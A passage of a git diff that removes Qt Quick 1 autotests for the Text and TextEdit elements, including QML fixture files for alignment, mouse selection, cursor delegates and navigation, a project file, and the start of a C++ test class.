jumped over the lazy brown dog" << "Text.Wrap"; -} - -void tst_qdeclarativetext::implicitSize() -{ - QFETCH(QString, text); - QFETCH(QString, wrap); - QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject->width() < textObject->implicitWidth()); - QVERIFY(textObject->height() == textObject->implicitHeight()); - - textObject->resetWidth(); - QVERIFY(textObject->width() == textObject->implicitWidth()); - QVERIFY(textObject->height() == textObject->implicitHeight()); - - delete textObject; -} - -void tst_qdeclarativetext::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qdeclarativetext::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("maximumLineCount") << "maximumLineCount: 4" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("lineHeight") << "lineHeight: 2" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("lineHeightMode") << "lineHeightMode: Text.ProportionalHeight" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("lineCount") << "property int foo: lineCount" - << ":1: ReferenceError: Can't find variable: lineCount" - << ""; - - QTest::newRow("truncated") << "property bool foo: truncated" - << ":1: ReferenceError: Can't find variable: truncated" - << ""; -} - -void tst_qdeclarativetext::qtbug_14734() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/qtbug_14734.qml"); - QVERIFY(canvas); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - delete canvas; -} - -QTEST_MAIN(tst_qdeclarativetext) - -#include "tst_qdeclarativetext.moc" diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/CursorRect.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/CursorRect.qml deleted file mode 100644 index 3af0313692..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/CursorRect.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - objectName: "myEdit" - width: 50 - text: "This is a long piece of text" -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments.qml deleted file mode 100644 index bc977fc6de..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments.qml +++ /dev/null @@ -1,41 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 70; height: 70; - - property alias horizontalAlignment: t.horizontalAlignment - property alias verticalAlignment: t.verticalAlignment - property alias wrapMode: t.wrapMode - property alias running: timer.running - property string txt: "Test" - - Rectangle { - anchors.centerIn: parent - width: 40 - height: 40 - color: "green" - - TextEdit { - id: t - - anchors.fill: parent - horizontalAlignment: TextEdit.AlignRight - verticalAlignment: TextEdit.AlignBottom - wrapMode: TextEdit.WordWrap - text: top.txt - } - Timer { - id: timer - - interval: 1 - running: true - repeat: true - onTriggered: { - top.txt = top.txt + "
more " + top.txt.length; - if (top.txt.length > 50) - running = false - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cb.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cb.png deleted file mode 100644 index 99de2192de..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cc.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cc.png deleted file mode 100644 index cb85251180..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_cc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_ct.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_ct.png deleted file mode 100644 index ddca549c82..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_ct.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lb.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lb.png deleted file mode 100644 index 1b50a81f3d..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lc.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lc.png deleted file mode 100644 index f041b868f8..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lt.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lt.png deleted file mode 100644 index c75e0d158e..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_lt.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rb.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rb.png deleted file mode 100644 index b06a5da715..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rc.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rc.png deleted file mode 100644 index e468857cd0..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rt.png b/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rt.png deleted file mode 100644 index 576715ffce..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextedit/data/alignments_rt.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/cursorTest.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/cursorTest.qml deleted file mode 100644 index f7fb3e7ced..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/cursorTest.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - TextEdit { text: "Hello world!"; id: textEditObject; objectName: "textEditObject" - anchors.fill: parent - resources: [ Component { id:cursor; Item { id:cursorInstance; objectName: "cursorInstance" } } ] - cursorDelegate: cursor - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/geometrySignals.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/geometrySignals.qml deleted file mode 100644 index fe2ae12246..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/geometrySignals.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 400; height: 500; - property int bindingWidth: text.width - property int bindingHeight: text.height - - TextInput { - id: text - anchors.fill: parent - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml deleted file mode 100644 index 6e739bf2bb..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 200; height: 70; - - property alias horizontalAlignment: text.horizontalAlignment - property string text: "اختبا" - - Rectangle { - anchors.centerIn: parent - width: 200 - height: 20 - color: "green" - - TextEdit { - id: text - objectName: "text" - anchors.fill: parent - text: top.text - focus: true - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/ErrItem.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/ErrItem.qml deleted file mode 100644 index fa7dbd107f..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/ErrItem.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Item{ - Fungus{ - palatable: false; - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/NormItem.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/NormItem.qml deleted file mode 100644 index 4989193527..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/NormItem.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -Item { - objectName: "delegateOkay" - Rectangle { } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTest.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTest.qml deleted file mode 100644 index 724c058de5..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTest.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - resources: [ - Component { id:cursorFail; FailItem { objectName: "delegateFail" } }, - Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } }, - Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } }, - Component { id:cursorErr; ErrItem { objectName: "delegateErrorA" } } - ] - TextEdit { - cursorDelegate: cursorFail - } - TextEdit { - cursorDelegate: cursorWait - } - TextEdit { - cursorDelegate: cursorNorm - } - TextEdit { - cursorDelegate: cursorErr - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml deleted file mode 100644 index 6dcf7855f4..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - resources: [ - Component { id:cursorFail; FailItem { objectName: "delegateFail" } }, - Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } }, - Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } } - ] - TextEdit { - cursorDelegate: cursorFail - } - TextEdit { - cursorDelegate: cursorWait - } - TextEdit { - cursorDelegate: cursorNorm - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml deleted file mode 100644 index 5f441d0db6..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - resources: [ - Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } }, - Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } }, - Component { id:cursorErr; ErrItem { objectName: "delegateErrorA" } } - ] - TextEdit { - cursorDelegate: cursorWait - } - TextEdit { - cursorDelegate: cursorNorm - } - TextEdit { - cursorDelegate: cursorErr - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestPass.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestPass.qml deleted file mode 100644 index 95f5d87eb7..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/cursorHttpTestPass.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - resources: [ - Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } }, - Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } } - ] - TextEdit { - cursorDelegate: cursorWait - text: "Hello" - } - TextEdit { - objectName: "textEditObject" - cursorDelegate: cursorNorm - focus: true; - text: "Hello" - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/http/qmldir b/tests/auto/qtquick1/qdeclarativetextedit/data/http/qmldir deleted file mode 100644 index 886e6ffec0..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/http/qmldir +++ /dev/null @@ -1,4 +0,0 @@ -ErrItem ErrItem.qml -NormItem NormItem.qml -FailItem FailItem.qml -WaitItem WaitItem.qml diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/httpfail/FailItem.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/httpfail/FailItem.qml deleted file mode 100644 index 466eb9d2f1..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/httpfail/FailItem.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - Rectangle { } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/httpslow/WaitItem.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/httpslow/WaitItem.qml deleted file mode 100644 index 466eb9d2f1..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/httpslow/WaitItem.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - Rectangle { } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/inputmethodhints.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/inputmethodhints.qml deleted file mode 100644 index 7df17f2158..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/inputmethodhints.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - text: "Hello world!" - inputMethodHints: Qt.ImhNoPredictiveText -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_default.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_default.qml deleted file mode 100644 index 22a9871306..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_default.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false.qml deleted file mode 100644 index 22a9871306..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_readonly.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_readonly.qml deleted file mode 100644 index 4aea61160f..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_readonly.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false - readOnly: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_words.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_words.qml deleted file mode 100644 index f8d2e4e2f2..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_false_words.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: false - mouseSelectionMode: TextEdit.SelectWords -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_multiline.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_multiline.qml deleted file mode 100644 index af23f6d91c..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_multiline.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRS\nTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextInput.SelectWords -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true.qml deleted file mode 100644 index d61da46f48..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_readonly.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_readonly.qml deleted file mode 100644 index 959e683721..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_readonly.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - readOnly: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_words.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_words.qml deleted file mode 100644 index f58fd45837..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselection_true_words.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextEdit.SelectWords -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_characters.qml deleted file mode 100644 index 5784e1960b..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_characters.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextEdit.SelectCharacters -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_default.qml deleted file mode 100644 index 1e5f4aac88..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_default.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_words.qml deleted file mode 100644 index 4b25f2f890..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/mouseselectionmode_words.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.1 - -TextEdit { - focus: true - text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" - selectByMouse: true - mouseSelectionMode: TextEdit.SelectWords -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/navigation.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/navigation.qml deleted file mode 100644 index 0e1caf6e23..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/navigation.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property variant myInput: input - - width: 800; height: 600; color: "blue" - - Item { - id: firstItem; - KeyNavigation.right: input - } - - TextEdit { id: input; focus: true - KeyNavigation.left: firstItem - KeyNavigation.right: lastItem - KeyNavigation.up: firstItem - KeyNavigation.down: lastItem - text: "a" - } - Item { - id: lastItem - KeyNavigation.left: input - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/positionAt.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/positionAt.qml deleted file mode 100644 index e01013560b..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/positionAt.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -TextEdit { - focus: true - objectName: "myInput" - width: 50 - height: 25 - text: "This is\n a long piece of text" -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/data/readOnly.qml b/tests/auto/qtquick1/qdeclarativetextedit/data/readOnly.qml deleted file mode 100644 index 36177d3be8..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/data/readOnly.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property variant myInput: input - - width: 800; height: 600; color: "blue" - - TextEdit { id: input; focus: true - readOnly: true - text: "I am the very model of a modern major general.\n" - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextedit/qdeclarativetextedit.pro b/tests/auto/qtquick1/qdeclarativetextedit/qdeclarativetextedit.pro deleted file mode 100644 index 5c86e111e8..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/qdeclarativetextedit.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativetextedit -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativetextedit.cpp ../../shared/testhttpserver.cpp -HEADERS += ../../shared/testhttpserver.h - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp deleted file mode 100644 index 4ad3efd414..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ /dev/null @@ -1,2549 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include "../../shared/testhttpserver.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "../../shared/platforminputcontext.h" - - -Q_DECLARE_METATYPE(QDeclarative1TextEdit::SelectionMode) - -QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) -{ - // XXX This will be replaced by some clever persistent platform image store. - QString persistent_dir = SRCDIR "/data"; - QString arch = "unknown-architecture"; // QTest needs to help with this. - - QString expectfile = persistent_dir + QDir::separator() + filebasename + "-" + arch + ".png"; - - if (!QFile::exists(expectfile)) { - actual.save(expectfile); - qWarning() << "created" << expectfile; - } - - return expectfile; -} - -void sendPreeditText(const QString &text, int cursor) -{ - QList attributes; - attributes.append(QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, cursor, - text.length(), QVariant())); - QInputMethodEvent event(text, attributes); - QApplication::sendEvent(qApp->focusObject(), &event); -} - - -class tst_qdeclarativetextedit : public QObject - -{ - Q_OBJECT -public: - tst_qdeclarativetextedit(); - -private slots: - void cleanup(); - - void text(); - void width(); - void wrap(); - void textFormat(); - void alignments(); - void alignments_data(); - - // ### these tests may be trivial - void hAlign(); - void hAlign_RightToLeft(); - void vAlign(); - void font(); - void color(); - void textMargin(); - void persistentSelection(); - void focusOnPress(); - void selection(); - void isRightToLeft_data(); - void isRightToLeft(); - void keySelection(); - void moveCursorSelection_data(); - void moveCursorSelection(); - void moveCursorSelectionSequence_data(); - void moveCursorSelectionSequence(); - void mouseSelection_data(); - void mouseSelection(); - void multilineMouseSelection(); - void deferEnableSelectByMouse_data(); - void deferEnableSelectByMouse(); - void deferDisableSelectByMouse_data(); - void deferDisableSelectByMouse(); - void mouseSelectionMode_data(); - void mouseSelectionMode(); - void dragMouseSelection(); - void inputMethodHints(); - - void positionAt(); - - void cursorDelegate(); - void cursorVisible(); - void delegateLoading_data(); - void delegateLoading(); - void navigation(); - void readOnly(); - void copyAndPaste(); - void canPaste(); - void canPasteEmpty(); - void textInput(); - void openInputPanelOnClick(); - void openInputPanelOnFocus(); - void geometrySignals(); - void pastingRichText_QTBUG_14003(); - void implicitSize_data(); - void implicitSize(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - - void preeditMicroFocus(); - void inputContextMouseHandler(); - void inputMethodComposing(); - void cursorRectangleSize(); - -private: - void simulateKey(QDeclarativeView *, int key, Qt::KeyboardModifiers modifiers = 0); - QDeclarativeView *createView(const QString &filename); - - QStringList standard; - QStringList richText; - - QStringList hAlignmentStrings; - QStringList vAlignmentStrings; - - QList vAlignments; - QList hAlignments; - - QStringList colorStrings; - - QDeclarativeEngine engine; -}; - -tst_qdeclarativetextedit::tst_qdeclarativetextedit() -{ - standard << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox\n jumped over the lazy dog" - << "Hello, world!" - << "!dlrow ,olleH"; - - richText << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox
jumped over the lazy dog
"; - - hAlignmentStrings << "AlignLeft" - << "AlignRight" - << "AlignHCenter"; - - vAlignmentStrings << "AlignTop" - << "AlignBottom" - << "AlignVCenter"; - - hAlignments << Qt::AlignLeft - << Qt::AlignRight - << Qt::AlignHCenter; - - vAlignments << Qt::AlignTop - << Qt::AlignBottom - << Qt::AlignVCenter; - - colorStrings << "aliceblue" - << "antiquewhite" - << "aqua" - << "darkkhaki" - << "darkolivegreen" - << "dimgray" - << "palevioletred" - << "lightsteelblue" - << "#000000" - << "#AAAAAA" - << "#FFFFFF" - << "#2AC05F"; - // - // need a different test to do alpha channel test - // << "#AA0011DD" - // << "#00F16B11"; - // -} - -void tst_qdeclarativetextedit::cleanup() -{ - // ensure not even skipped tests with custom input context leave it dangling - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = 0; -} - -void tst_qdeclarativetextedit::text() -{ - { - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\" }", QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->text(), QString("")); - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->text(), standard.at(i)); - } - - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QString actual = textEditObject->text(); - QString expected = richText.at(i); - actual.replace(QRegExp(".*]*>"),""); - actual.replace(QRegExp("(<[^>]*>)+"),"<>"); - expected.replace(QRegExp("(<[^>]*>)+"),"<>"); - QCOMPARE(actual.simplified(),expected.simplified()); - } -} - -void tst_qdeclarativetextedit::width() -{ - // uses Font metrics to find the width for standard and document to find the width for rich - { - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\" }", QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), 0.0); - } - - for (int i = 0; i < standard.size(); i++) - { - QFont f; - QFontMetricsF fm(f); - qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width(); - metricWidth = ceil(metricWidth); - - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), qreal(metricWidth)); - } - - for (int i = 0; i < richText.size(); i++) - { - QTextDocument document; - document.setHtml(richText.at(i)); - 